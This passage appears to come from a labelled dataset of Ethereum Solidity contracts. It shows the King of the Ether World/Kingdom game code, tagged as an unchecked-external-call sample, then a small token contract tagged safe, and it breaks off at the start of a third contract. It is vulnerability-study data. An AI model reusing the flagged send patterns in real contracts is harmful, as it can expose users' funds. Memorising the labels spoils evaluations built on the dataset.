This needs care because there is no way to tell if _toAddress // is externally owned or is another contract - and sending ether // to a contract address will invoke its fallback function; this // has three implications: // // 1) Danger of recursive attack. // The destination contract's fallback function (or another // contract it calls) may call back into this contract (including // our fallback function and external functions inherited, or into // other contracts in our stack), leading to unexpected behaviour. // Mitigations: // - protect all external functions against re-entry into // any of them (see ReentryProtectorMixin); // - program very defensively (e.g. debit balance before send). // // 2) Destination fallback function can fail. // If the destination contract's fallback function fails, ether // will not be sent and may be locked into the sending contract. // Unlike most errors, it will NOT cause this contract to throw. // Mitigations: // - check the return value from this function (see below). // // 3) Gas usage. // The destination fallback function will consume the gas supplied // in this transaction (which is fixed and set by the transaction // starter, though some clients do a good job of estimating it. // This is a problem for lottery-type contracts where one very // expensive-to-call receiving contract could 'poison' the lottery // contract by preventing it being invoked by another person who // cannot supply enough gas. // Mitigations: // - choose sensible value for _extraGasIncluded (by default // only 2300 gas is supplied to the destination function); // - if call fails consider whether to throw or to ring-fence // funds for later withdrawal. // // Returns: // // True if-and-only-if the send call was made and did not throw // an error. In this case, we will no longer own the _valueWei // ether. Note that we cannot get the return value of the fallback // function called (if any). // // False if the send was made but the destination fallback function // threw an error (or ran out of gas). If this hapens, we still own // _valueWei ether and the destination's actions were undone. // // This function should not normally throw an error unless: // - not enough gas to make the send/call // - max call stack depth reached // - insufficient ether // function carefulSendWithFixedGas( address _toAddress, uint _valueWei, uint _extraGasIncluded ) internal returns (bool success) { return _toAddress.call.value(_valueWei).gas(_extraGasIncluded)(); } } /// @title Mixin to help track who owns our ether and allow withdrawals. contract FundsHolderMixin is ReentryProtectorMixin, CarefulSenderMixin { // Record here how much wei is owned by an address. // Obviously, the entries here MUST be backed by actual ether // owned by the contract - we cannot enforce that in this mixin. mapping (address => uint) funds; event FundsWithdrawnEvent( address fromAddress, address toAddress, uint valueWei ); /// @notice Amount of ether held for `_address`. function fundsOf(address _address) constant returns (uint valueWei) { return funds[_address]; } /// @notice Send the caller (`msg.sender`) all ether they own. function withdrawFunds() { externalEnter(); withdrawFundsRP(); externalLeave(); } /// @notice Send `_valueWei` of the ether owned by the caller /// (`msg.sender`) to `_toAddress`, including `_extraGas` gas /// beyond the normal stipend. function withdrawFundsAdvanced( address _toAddress, uint _valueWei, uint _extraGas ) { externalEnter(); withdrawFundsAdvancedRP(_toAddress, _valueWei, _extraGas); externalLeave(); } /// @dev internal version of withdrawFunds() function withdrawFundsRP() internal { address fromAddress = msg.sender; address toAddress = fromAddress; uint allAvailableWei = funds[fromAddress]; withdrawFundsAdvancedRP( toAddress, allAvailableWei, suggestedExtraGasToIncludeWithSends ); } /// @dev internal version of withdrawFundsAdvanced(), also used /// by withdrawFundsRP(). function withdrawFundsAdvancedRP( address _toAddress, uint _valueWei, uint _extraGasIncluded ) internal { if (msg.value != 0) { throw; } address fromAddress = msg.sender; if (_valueWei > funds[fromAddress]) { throw; } funds[fromAddress] -= _valueWei; bool sentOk = carefulSendWithFixedGas( _toAddress, _valueWei, _extraGasIncluded ); if (!sentOk) { throw; } FundsWithdrawnEvent(fromAddress, _toAddress, _valueWei); } } /// @title Mixin to help make nicer looking ether amounts. contract MoneyRounderMixin { /// @notice Make `_rawValueWei` into a nicer, rounder number. /// @return A value that: /// - is no larger than `_rawValueWei` /// - is no smaller than `_rawValueWei` * 0.999 /// - has no more than three significant figures UNLESS the /// number is very small or very large in monetary terms /// (which we define as < 1 finney or > 10000 ether), in /// which case no precision will be lost. function roundMoneyDownNicely(uint _rawValueWei) constant internal returns (uint nicerValueWei) { if (_rawValueWei < 1 finney) { return _rawValueWei; } else if (_rawValueWei < 10 finney) { return 10 szabo * (_rawValueWei / 10 szabo); } else if (_rawValueWei < 100 finney) { return 100 szabo * (_rawValueWei / 100 szabo); } else if (_rawValueWei < 1 ether) { return 1 finney * (_rawValueWei / 1 finney); } else if (_rawValueWei < 10 ether) { return 10 finney * (_rawValueWei / 10 finney); } else if (_rawValueWei < 100 ether) { return 100 finney * (_rawValueWei / 100 finney); } else if (_rawValueWei < 1000 ether) { return 1 ether * (_rawValueWei / 1 ether); } else if (_rawValueWei < 10000 ether) { return 10 ether * (_rawValueWei / 10 ether); } else { return _rawValueWei; } } /// @notice Convert `_valueWei` into a whole number of finney. /// @return The smallest whole number of finney which is equal /// to or greater than `_valueWei` when converted to wei. /// WARN: May be incorrect if `_valueWei` is above 2**254. function roundMoneyUpToWholeFinney(uint _valueWei) constant internal returns (uint valueFinney) { return (1 finney + _valueWei - 1 wei) / 1 finney; } } /// @title Mixin to help allow users to name things. contract NameableMixin { // String manipulation is expensive in the EVM; keep things short. uint constant minimumNameLength = 1; uint constant maximumNameLength = 25; string constant nameDataPrefix = ""NAME:""; /// @notice Check if `_name` is a reasonable choice of name. /// @return True if-and-only-if `_name_` meets the criteria /// below, or false otherwise: /// - no fewer than 1 character /// - no more than 25 characters /// - no characters other than: /// - ""roman"" alphabet letters (A-Z and a-z) /// - western digits (0-9) /// - ""safe"" punctuation: ! ( ) - . _ SPACE /// - at least one non-punctuation character /// Note that we deliberately exclude characters which may cause /// security problems for websites and databases if escaping is /// not performed correctly, such as < > "" and '. /// Apologies for the lack of non-English language support. function validateNameInternal(string _name) constant internal returns (bool allowed) { bytes memory nameBytes = bytes(_name); uint lengthBytes = nameBytes.length; if (lengthBytes < minimumNameLength || lengthBytes > maximumNameLength) { return false; } bool foundNonPunctuation = false; for (uint i = 0; i < lengthBytes; i++) { byte b = nameBytes[i]; if ( (b >= 48 && b <= 57) || // 0 - 9 (b >= 65 && b <= 90) || // A - Z (b >= 97 && b <= 122) // a - z ) { foundNonPunctuation = true; continue; } if ( b == 32 || // space b == 33 || // ! b == 40 || // ( b == 41 || // ) b == 45 || // - b == 46 || // . b == 95 // _ ) { continue; } return false; } return foundNonPunctuation; } // Extract a name from bytes `_data` (presumably from `msg.data`), // or throw an exception if the data is not in the expected format. // // We want to make it easy for people to name things, even if // they're not comfortable calling functions on contracts. // // So we allow names to be sent to the fallback function encoded // as message data. // // Unfortunately, the way the Ethereum Function ABI works means we // must be careful to avoid clashes between message data that // represents our names and message data that represents a call // to an external function - otherwise: // a) some names won't be usable; // b) small possibility of a phishing attack where users are // tricked into using certain names which cause an external // function call - e.g. if the data sent to the contract is // keccak256(""withdrawFunds()"") then a withdrawal will occur. // // So we require a prefix ""NAME:"" at the start of the name (encoded // in ASCII) when sent via the fallback function - this prefix // doesn't clash with any external function signature hashes. // // e.g. web3.fromAscii('NAME:' + 'Joe Bloggs') // // WARN: this does not check the name for ""reasonableness""; // use validateNameInternal() for that. // function extractNameFromData(bytes _data) constant internal returns (string extractedName) { // check prefix present uint expectedPrefixLength = (bytes(nameDataPrefix)).length; if (_data.length < expectedPrefixLength) { throw; } uint i; for (i = 0; i < expectedPrefixLength; i++) { if ((bytes(nameDataPrefix))[i] != _data[i]) { throw; } } // copy data after prefix uint payloadLength = _data.length - expectedPrefixLength; if (payloadLength < minimumNameLength || payloadLength > maximumNameLength) { throw; } string memory name = new string(payloadLength); for (i = 0; i < payloadLength; i++) { (bytes(name))[i] = _data[expectedPrefixLength + i]; } return name; } // Turn a short name into a ""fuzzy hash"" with the property // that extremely similar names will have the same fuzzy hash. // // This is useful to: // - stop people choosing names which differ only in case or // punctuation and would lead to confusion. // - faciliate searching by name without needing exact match // // For example, these names all have the same fuzzy hash: // // ""Banana"" // ""BANANA"" // ""Ba-na-na"" // "" banana "" // ""Banana .. so long the end is ignored"" // // On the other hand, ""Banana1"" and ""A Banana"" are different to // the above. // // WARN: this is likely to work poorly on names that do not meet // the validateNameInternal() test. // function computeNameFuzzyHash(string _name) constant internal returns (uint fuzzyHash) { bytes memory nameBytes = bytes(_name); uint h = 0; uint len = nameBytes.length; if (len > maximumNameLength) { len = maximumNameLength; } for (uint i = 0; i < len; i++) { uint mul = 128; byte b = nameBytes[i]; uint ub = uint(b); if (b >= 48 && b <= 57) { // 0-9 h = h * mul + ub; } else if (b >= 65 && b <= 90) { // A-Z h = h * mul + ub; } else if (b >= 97 && b <= 122) { // fold a-z to A-Z uint upper = ub - 32; h = h * mul + upper; } else { // ignore others } } return h; } } /// @title Mixin to help define the rules of a throne. contract ThroneRulesMixin { // See World.createKingdom(..) for documentation. struct ThroneRules { uint startingClaimPriceWei; uint maximumClaimPriceWei; uint claimPriceAdjustPercent; uint curseIncubationDurationSeconds; uint commissionPerThousand; } } /// @title Maintains the throne of a kingdom. contract Kingdom is ReentryProtectorMixin, CarefulSenderMixin, FundsHolderMixin, MoneyRounderMixin, NameableMixin, ThroneRulesMixin { // e.g. ""King of the Ether"" string public kingdomName; // The World contract used to create this kingdom, or 0x0 if none. address public world; // The rules that govern this kingdom - see ThroneRulesMixin. ThroneRules public rules; // Someone who has ruled (or is ruling) our kingdom. struct Monarch { // where to send their compensation address compensationAddress; // their name string name; // when they became our ruler uint coronationTimestamp; // the claim price paid (excluding any over-payment) uint claimPriceWei; // the compensation sent to or held for them so far uint compensationWei; } // The first ruler is number 1; the zero-th entry is a dummy entry. Monarch[] public monarchsByNumber; // The topWizard earns half the commission. // They are normally the owner of the World contract. address public topWizard; // The subWizard earns half the commission. // They are normally the creator of this Kingdom. // The topWizard and subWizard can be the same address. address public subWizard; // NB: we also have a `funds` mapping from FundsHolderMixin, // and a rentryProtector from ReentryProtectorMixin. event ThroneClaimedEvent(uint monarchNumber); event CompensationSentEvent(address toAddress, uint valueWei); event CompensationFailEvent(address toAddress, uint valueWei); event CommissionEarnedEvent(address byAddress, uint valueWei); event WizardReplacedEvent(address oldWizard, address newWizard); // NB: we also have a `FundsWithdrawnEvent` from FundsHolderMixin // WARN - does NOT validate arguments; you MUST either call // KingdomFactory.validateProposedThroneRules() or create // the Kingdom via KingdomFactory/World's createKingdom(). // See World.createKingdom(..) for parameter documentation. function Kingdom( string _kingdomName, address _world, address _topWizard, address _subWizard, uint _startingClaimPriceWei, uint _maximumClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) { kingdomName = _kingdomName; world = _world; topWizard = _topWizard; subWizard = _subWizard; rules = ThroneRules( _startingClaimPriceWei, _maximumClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand ); // We number the monarchs starting from 1; it's sometimes useful // to use zero = invalid, so put in a dummy entry for number 0. monarchsByNumber.push( Monarch( 0, """", 0, 0, 0 ) ); } function numberOfMonarchs() constant returns (uint totalCount) { // zero-th entry is invalid return monarchsByNumber.length - 1; } // False if either there are no monarchs, or if the latest monarch // has reigned too long and been struck down by the curse. function isLivingMonarch() constant returns (bool alive) { if (numberOfMonarchs() == 0) { return false; } uint reignStartedTimestamp = latestMonarchInternal().coronationTimestamp; if (now < reignStartedTimestamp) { // Should not be possible, think miners reject blocks with // timestamps that go backwards? But some drift possible and // it needs handling for unsigned overflow audit checks ... return true; } uint elapsedReignDurationSeconds = now - reignStartedTimestamp; if (elapsedReignDurationSeconds > rules.curseIncubationDurationSeconds) { return false; } else { return true; } } /// @notice How much you must pay to claim the throne now, in wei. function currentClaimPriceWei() constant returns (uint priceInWei) { if (!isLivingMonarch()) { return rules.startingClaimPriceWei; } else { uint lastClaimPriceWei = latestMonarchInternal().claimPriceWei; // no danger of overflow because claim price never gets that high uint newClaimPrice = (lastClaimPriceWei * (100 + rules.claimPriceAdjustPercent)) / 100; newClaimPrice = roundMoneyDownNicely(newClaimPrice); if (newClaimPrice < rules.startingClaimPriceWei) { newClaimPrice = rules.startingClaimPriceWei; } if (newClaimPrice > rules.maximumClaimPriceWei) { newClaimPrice = rules.maximumClaimPriceWei; } return newClaimPrice; } } /// @notice How much you must pay to claim the throne now, in finney. function currentClaimPriceInFinney() constant returns (uint priceInFinney) { uint valueWei = currentClaimPriceWei(); return roundMoneyUpToWholeFinney(valueWei); } /// @notice Check if a name can be used as a monarch name. /// @return True if the name satisfies the criteria of: /// - no fewer than 1 character /// - no more than 25 characters /// - no characters other than: /// - ""roman"" alphabet letters (A-Z and a-z) /// - western digits (0-9) /// - ""safe"" punctuation: ! ( ) - . _ SPACE function validateProposedMonarchName(string _monarchName) constant returns (bool allowed) { return validateNameInternal(_monarchName); } // Get details of the latest monarch (even if they are dead). // // We don't expose externally because returning structs is not well // supported in the ABI (strange that monarchsByNumber array works // fine though). Note that the reference returned is writable - it // can be used to update details of the latest monarch. // WARN: you should check numberOfMonarchs() > 0 first. function latestMonarchInternal() constant internal returns (Monarch storage monarch) { return monarchsByNumber[monarchsByNumber.length - 1]; } /// @notice Claim throne by sending funds to the contract. /// Any future compensation earned will be sent to the sender's /// address (`msg.sender`). /// Sending from a contract is not recommended unless you know /// what you're doing (and you've tested it). /// If no message data is supplied, the throne will be claimed in /// the name of ""Anonymous"". To supply a name, send data encoded /// using web3.fromAscii('NAME:' + 'your_chosen_valid_name'). /// Sender must include payment equal to currentClaimPriceWei(). /// Will consume up to ~300,000 gas. /// Will throw an error if: /// - name is invalid (see `validateProposedMonarchName(string)`) /// - payment is too low or too high /// Produces events: /// - `ThroneClaimedEvent` /// - `CompensationSentEvent` / `CompensationFailEvent` /// - `CommissionEarnedEvent` function () { externalEnter(); fallbackRP(); externalLeave(); } /// @notice Claim throne in the given `_monarchName`. /// Any future compensation earned will be sent to the caller's /// address (`msg.sender`). /// Caller must include payment equal to currentClaimPriceWei(). /// Calling from a contract is not recommended unless you know /// what you're doing (and you've tested it). /// Will consume up to ~300,000 gas. /// Will throw an error if: /// - name is invalid (see `validateProposedMonarchName(string)`) /// - payment is too low or too high /// Produces events: /// - `ThroneClaimedEvent /// - `CompensationSentEvent` / `CompensationFailEvent` /// - `CommissionEarnedEvent` function claimThrone(string _monarchName) { externalEnter(); claimThroneRP(_monarchName); externalLeave(); } /// @notice Used by either the topWizard or subWizard to transfer /// all rights to future commissions to the `_replacement` wizard. /// WARN: The original wizard retains ownership of any past /// commission held for them in the `funds` mapping, which they /// can still withdraw. /// Produces event WizardReplacedEvent. function replaceWizard(address _replacement) { externalEnter(); replaceWizardRP(_replacement); externalLeave(); } function fallbackRP() internal { if (msg.data.length == 0) { claimThroneRP(""Anonymous""); } else { string memory _monarchName = extractNameFromData(msg.data); claimThroneRP(_monarchName); } } function claimThroneRP( string _monarchName ) internal { address _compensationAddress = msg.sender; if (!validateNameInternal(_monarchName)) { throw; } if (_compensationAddress == 0 || _compensationAddress == address(this)) { throw; } uint paidWei = msg.value; uint priceWei = currentClaimPriceWei(); if (paidWei < priceWei) { throw; } // Make it easy for people to pay using a whole number of finney, // which could be a teeny bit higher than the raw wei value. uint excessWei = paidWei - priceWei; if (excessWei > 1 finney) { throw; } uint compensationWei; uint commissionWei; if (!isLivingMonarch()) { // dead men get no compensation commissionWei = paidWei; compensationWei = 0; } else { commissionWei = (paidWei * rules.commissionPerThousand) / 1000; compensationWei = paidWei - commissionWei; } if (commissionWei != 0) { recordCommissionEarned(commissionWei); } if (compensationWei != 0) { compensateLatestMonarch(compensationWei); } // In case of any teeny excess, we use the official price here // since that should determine the new claim price, not paidWei. monarchsByNumber.push(Monarch( _compensationAddress, _monarchName, now, priceWei, 0 )); ThroneClaimedEvent(monarchsByNumber.length - 1); } function replaceWizardRP(address replacement) internal { if (msg.value != 0) { throw; } bool replacedOk = false; address oldWizard; if (msg.sender == topWizard) { oldWizard = topWizard; topWizard = replacement; WizardReplacedEvent(oldWizard, replacement); replacedOk = true; } // Careful - topWizard and subWizard can be the same address, // in which case we must replace both. if (msg.sender == subWizard) { oldWizard = subWizard; subWizard = replacement; WizardReplacedEvent(oldWizard, replacement); replacedOk = true; } if (!replacedOk) { throw; } } // Allow commission funds to build up in contract for the wizards // to withdraw (carefully ring-fenced). function recordCommissionEarned(uint _commissionWei) internal { // give the subWizard any ""odd"" single wei uint topWizardWei = _commissionWei / 2; uint subWizardWei = _commissionWei - topWizardWei; funds[topWizard] += topWizardWei; CommissionEarnedEvent(topWizard, topWizardWei); funds[subWizard] += subWizardWei; CommissionEarnedEvent(subWizard, subWizardWei); } // Send compensation to latest monarch (or hold funds for them // if cannot through no fault of current caller). function compensateLatestMonarch(uint _compensationWei) internal { address compensationAddress = latestMonarchInternal().compensationAddress; // record that we compensated them latestMonarchInternal().compensationWei = _compensationWei; // WARN: if the latest monarch is a contract whose fallback // function needs more 25300 gas than then they will NOT // receive compensation automatically. bool sentOk = carefulSendWithFixedGas( compensationAddress, _compensationWei, suggestedExtraGasToIncludeWithSends ); if (sentOk) { CompensationSentEvent(compensationAddress, _compensationWei); } else { // This should only happen if the latest monarch is a contract // whose fallback-function failed or ran out of gas (despite // us including a fair amount of gas). // We do not throw since we do not want the throne to get // 'stuck' (it's not the new usurpers fault) - instead save // the funds we could not send so can be claimed later. // Their monarch contract would need to have been designed // to call our withdrawFundsAdvanced(..) function mind you. funds[compensationAddress] += _compensationWei; CompensationFailEvent(compensationAddress, _compensationWei); } } } /// @title Used by the World contract to create Kingdom instances. /// @dev Mostly exists so topWizard can potentially replace this /// contract to modify the Kingdom contract and/or rule validation /// logic to be used for *future* Kingdoms created by the World. /// We do not implement rentry protection because we don't send/call. /// We do not charge a fee here - but if you bypass the World then /// you won't be listed on the official World page of course. contract KingdomFactory { function KingdomFactory() { } function () { // this contract should never have a balance throw; } // See World.createKingdom(..) for parameter documentation. function validateProposedThroneRules( uint _startingClaimPriceWei, uint _maximumClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) constant returns (bool allowed) { // I suppose there is a danger that massive deflation/inflation could // change the real-world sanity of these checks, but in that case we // can deploy a new factory and update the world. if (_startingClaimPriceWei < 10 finney || _startingClaimPriceWei > 100 ether) { return false; } if (_maximumClaimPriceWei < 1 ether || _maximumClaimPriceWei > 100000 ether) { return false; } if (_startingClaimPriceWei * 20 > _maximumClaimPriceWei) { return false; } if (_claimPriceAdjustPercent < 10 || _claimPriceAdjustPercent > 900) { return false; } if (_curseIncubationDurationSeconds < 2 hours || _curseIncubationDurationSeconds > 10000 days) { return false; } if (_commissionPerThousand < 10 || _commissionPerThousand > 100) { return false; } return true; } /// @notice Create a new Kingdom. Normally called by World contract. /// WARN: Does NOT validate the _kingdomName or _world arguments. /// Will consume up to 1,800,000 gas (!) /// Will throw an error if: /// - rules invalid (see validateProposedThroneRules) /// - wizard addresses ""obviously"" wrong /// - out of gas quite likely (perhaps in future should consider /// using solidity libraries to reduce Kingdom size?) // See World.createKingdom(..) for parameter documentation. function createKingdom( string _kingdomName, address _world, address _topWizard, address _subWizard, uint _startingClaimPriceWei, uint _maximumClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) returns (Kingdom newKingdom) { if (msg.value > 0) { // this contract should never have a balance throw; } // NB: topWizard and subWizard CAN be the same as each other. if (_topWizard == 0 || _subWizard == 0) { throw; } if (_topWizard == _world || _subWizard == _world) { throw; } if (!validateProposedThroneRules( _startingClaimPriceWei, _maximumClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand )) { throw; } return new Kingdom( _kingdomName, _world, _topWizard, _subWizard, _startingClaimPriceWei, _maximumClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand ); } } /// @title Runs the world, which is a collection of Kingdoms. contract World is ReentryProtectorMixin, NameableMixin, MoneyRounderMixin, FundsHolderMixin, ThroneRulesMixin { // The topWizard runs the world. They charge for the creation of // kingdoms and become the topWizard in each kingdom created. address public topWizard; // How much one must pay to create a new kingdom (in wei). // Can be changed by the topWizard. uint public kingdomCreationFeeWei; struct KingdomListing { uint kingdomNumber; string kingdomName; address kingdomContract; address kingdomCreator; uint creationTimestamp; address kingdomFactoryUsed; } // The first kingdom is number 1; the zero-th entry is a dummy. KingdomListing[] public kingdomsByNumber; // For safety, we cap just how high the price can get. // Can be changed by the topWizard, though it will only affect // kingdoms created after that. uint public maximumClaimPriceWei; // Helper contract for creating Kingdom instances. Can be // upgraded by the topWizard (won't affect existing ones). KingdomFactory public kingdomFactory; // Avoids duplicate kingdom names and allows searching by name. mapping (uint => uint) kingdomNumbersByfuzzyHash; // NB: we also have a `funds` mapping from FundsHolderMixin, // and a rentryProtector from ReentryProtectorMixin. event KingdomCreatedEvent(uint kingdomNumber); event CreationFeeChangedEvent(uint newFeeWei); event FactoryChangedEvent(address newFactory); event WizardReplacedEvent(address oldWizard, address newWizard); // NB: we also have a `FundsWithdrawnEvent` from FundsHolderMixin // Create the world with no kingdoms yet. // Costs about 1.9M gas to deploy. function World( address _topWizard, uint _kingdomCreationFeeWei, KingdomFactory _kingdomFactory, uint _maximumClaimPriceWei ) { if (_topWizard == 0) { throw; } if (_maximumClaimPriceWei < 1 ether) { throw; } topWizard = _topWizard; kingdomCreationFeeWei = _kingdomCreationFeeWei; kingdomFactory = _kingdomFactory; maximumClaimPriceWei = _maximumClaimPriceWei; // We number the kingdoms starting from 1 since it's sometimes // useful to use zero = invalid. Create dummy zero-th entry. kingdomsByNumber.push(KingdomListing(0, """", 0, 0, 0, 0)); } function numberOfKingdoms() constant returns (uint totalCount) { return kingdomsByNumber.length - 1; } /// @return index into kingdomsByNumber if found, or zero if not. function findKingdomCalled(string _kingdomName) constant returns (uint kingdomNumber) { uint fuzzyHash = computeNameFuzzyHash(_kingdomName); return kingdomNumbersByfuzzyHash[fuzzyHash]; } /// @notice Check if a name can be used as a kingdom name. /// @return True if the name satisfies the criteria of: /// - no fewer than 1 character /// - no more than 25 characters /// - no characters other than: /// - ""roman"" alphabet letters (A-Z and a-z) /// - western digits (0-9) /// - ""safe"" punctuation: ! ( ) - . _ SPACE /// /// WARN: does not check if the name is already in use; /// use `findKingdomCalled(string)` for that afterwards. function validateProposedKingdomName(string _kingdomName) constant returns (bool allowed) { return validateNameInternal(_kingdomName); } // Check if rules would be allowed for a new custom Kingdom. // Typically used before calling `createKingdom(...)`. function validateProposedThroneRules( uint _startingClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) constant returns (bool allowed) { return kingdomFactory.validateProposedThroneRules( _startingClaimPriceWei, maximumClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand ); } // How much one must pay to create a new kingdom (in finney). // Can be changed by the topWizard. function kingdomCreationFeeInFinney() constant returns (uint feeInFinney) { return roundMoneyUpToWholeFinney(kingdomCreationFeeWei); } // Reject funds sent to the contract - wizards who cannot interact // with it via the API won't be able to withdraw their commission. function () { throw; } /// @notice Create a new kingdom using custom rules. /// @param _kingdomName \ /// e.g. ""King of the Ether Throne"" /// @param _startingClaimPriceWei \ /// How much it will cost the first monarch to claim the throne /// (and also the price after the death of a monarch). /// @param _claimPriceAdjustPercent \ /// Percentage increase after each claim - e.g. if claim price /// was 200 ETH, and `_claimPriceAdjustPercent` is 50, the next /// claim price will be 200 ETH + (50% of 200 ETH) => 300 ETH. /// @param _curseIncubationDurationSeconds \ /// The maximum length of a time a monarch can rule before the /// curse strikes and they are removed without compensation. /// @param _commissionPerThousand \ /// How much of each payment is given to the wizards to share, /// expressed in parts per thousand - e.g. 25 means 25/1000, /// or 2.5%. /// /// Caller must include payment equal to kingdomCreationFeeWei. /// The caller will become the 'sub-wizard' and will earn half /// any commission charged by the Kingdom. Note however they /// will need to call withdrawFunds() on the Kingdom contract /// to get their commission - it's not send automatically. /// /// Will consume up to 1,900,000 gas (!) /// Will throw an error if: /// - name is invalid (see `validateProposedKingdomName(string)`) /// - name is already in use (see `findKingdomCalled(string)`) /// - rules are invalid (see `validateProposedKingdomRules(...)`) /// - payment is too low or too high /// - insufficient gas (quite likely!) /// Produces event KingdomCreatedEvent. function createKingdom( string _kingdomName, uint _startingClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) { externalEnter(); createKingdomRP( _kingdomName, _startingClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand ); externalLeave(); } /// @notice Used by topWizard to transfer all rights to future /// fees and future kingdom wizardships to `_replacement` wizard. /// WARN: The original wizard retains ownership of any past fees /// held for them in the `funds` mapping, which they can still /// withdraw. They also remain topWizard in any existing Kingdoms. /// Produces event WizardReplacedEvent. function replaceWizard(address _replacement) { externalEnter(); replaceWizardRP(_replacement); externalLeave(); } /// @notice Used by topWizard to vary the fee for creating kingdoms. function setKingdomCreationFeeWei(uint _kingdomCreationFeeWei) { externalEnter(); setKingdomCreationFeeWeiRP(_kingdomCreationFeeWei); externalLeave(); } /// @notice Used by topWizard to vary the cap on claim price. function setMaximumClaimPriceWei(uint _maximumClaimPriceWei) { externalEnter(); setMaximumClaimPriceWeiRP(_maximumClaimPriceWei); externalLeave(); } /// @notice Used by topWizard to vary the factory contract which /// will be used to create future Kingdoms. function setKingdomFactory(KingdomFactory _kingdomFactory) { externalEnter(); setKingdomFactoryRP(_kingdomFactory); externalLeave(); } function createKingdomRP( string _kingdomName, uint _startingClaimPriceWei, uint _claimPriceAdjustPercent, uint _curseIncubationDurationSeconds, uint _commissionPerThousand ) internal { address subWizard = msg.sender; if (!validateNameInternal(_kingdomName)) { throw; } uint newKingdomNumber = kingdomsByNumber.length; checkUniqueAndRegisterNewKingdomName( _kingdomName, newKingdomNumber ); uint paidWei = msg.value; if (paidWei < kingdomCreationFeeWei) { throw; } // Make it easy for people to pay using a whole number of finney, // which could be a teeny bit higher than the raw wei value. uint excessWei = paidWei - kingdomCreationFeeWei; if (excessWei > 1 finney) { throw; } funds[topWizard] += paidWei; // This will perform rule validation. Kingdom kingdomContract = kingdomFactory.createKingdom( _kingdomName, address(this), topWizard, subWizard, _startingClaimPriceWei, maximumClaimPriceWei, _claimPriceAdjustPercent, _curseIncubationDurationSeconds, _commissionPerThousand ); kingdomsByNumber.push(KingdomListing( newKingdomNumber, _kingdomName, kingdomContract, msg.sender, now, kingdomFactory )); } function replaceWizardRP(address replacement) internal { if (msg.sender != topWizard) { throw; } if (msg.value != 0) { throw; } address oldWizard = topWizard; topWizard = replacement; WizardReplacedEvent(oldWizard, replacement); } function setKingdomCreationFeeWeiRP(uint _kingdomCreationFeeWei) internal { if (msg.sender != topWizard) { throw; } if (msg.value != 0) { throw; } kingdomCreationFeeWei = _kingdomCreationFeeWei; CreationFeeChangedEvent(kingdomCreationFeeWei); } function setMaximumClaimPriceWeiRP(uint _maximumClaimPriceWei) internal { if (msg.sender != topWizard) { throw; } if (msg.value != 0) { throw; } if (_maximumClaimPriceWei < 1 ether) { throw; } maximumClaimPriceWei = _maximumClaimPriceWei; } function setKingdomFactoryRP(KingdomFactory _kingdomFactory) internal { if (msg.sender != topWizard) { throw; } if (msg.value != 0) { throw; } kingdomFactory = _kingdomFactory; FactoryChangedEvent(kingdomFactory); } // If there is no existing kingdom called `_kingdomName`, create // a record mapping that name to kingdom no. `_newKingdomNumber`. // Throws an error if an existing kingdom with the same (or // fuzzily similar - see computeNameFuzzyHash) name exists. function checkUniqueAndRegisterNewKingdomName( string _kingdomName, uint _newKingdomNumber ) internal { uint fuzzyHash = computeNameFuzzyHash(_kingdomName); if (kingdomNumbersByfuzzyHash[fuzzyHash] != 0) { throw; } kingdomNumbersByfuzzyHash[fuzzyHash] = _newKingdomNumber; } } /// @title Used on the testnet to allow automated testing of internals. contract ExposedInternalsForTesting is MoneyRounderMixin, NameableMixin { function roundMoneyDownNicelyET(uint _rawValueWei) constant returns (uint nicerValueWei) { return roundMoneyDownNicely(_rawValueWei); } function roundMoneyUpToWholeFinneyET(uint _valueWei) constant returns (uint valueFinney) { return roundMoneyUpToWholeFinney(_valueWei); } function validateNameInternalET(string _name) constant returns (bool allowed) { return validateNameInternal(_name); } function extractNameFromDataET(bytes _data) constant returns (string extractedName) { return extractNameFromData(_data); } function computeNameFuzzyHashET(string _name) constant returns (uint fuzzyHash) { return computeNameFuzzyHash(_name); } }",./Dataset/unchecked external call (UC),7,7 0x0301256716f6a18666db5a6009c2bff7c98fdde9_Datbit.sol,"pragma solidity ^0.4.0; contract Datbit { /* Public variables of the token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Initializes contract with initial supply tokens to the creator of the contract */ function Datbit() { initialSupply = 1000000000; name =""datbit""; decimals = 0; symbol = ""DBT""; balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply } /* Send coins */ function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient } /* This unnamed function is called whenever someone tries to send ether to it */ function () { throw; // Prevents accidental sending of ether } }",Safe,8,8 0x027fb74201bb7ae54de24f88f3f66f482be61f23_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { 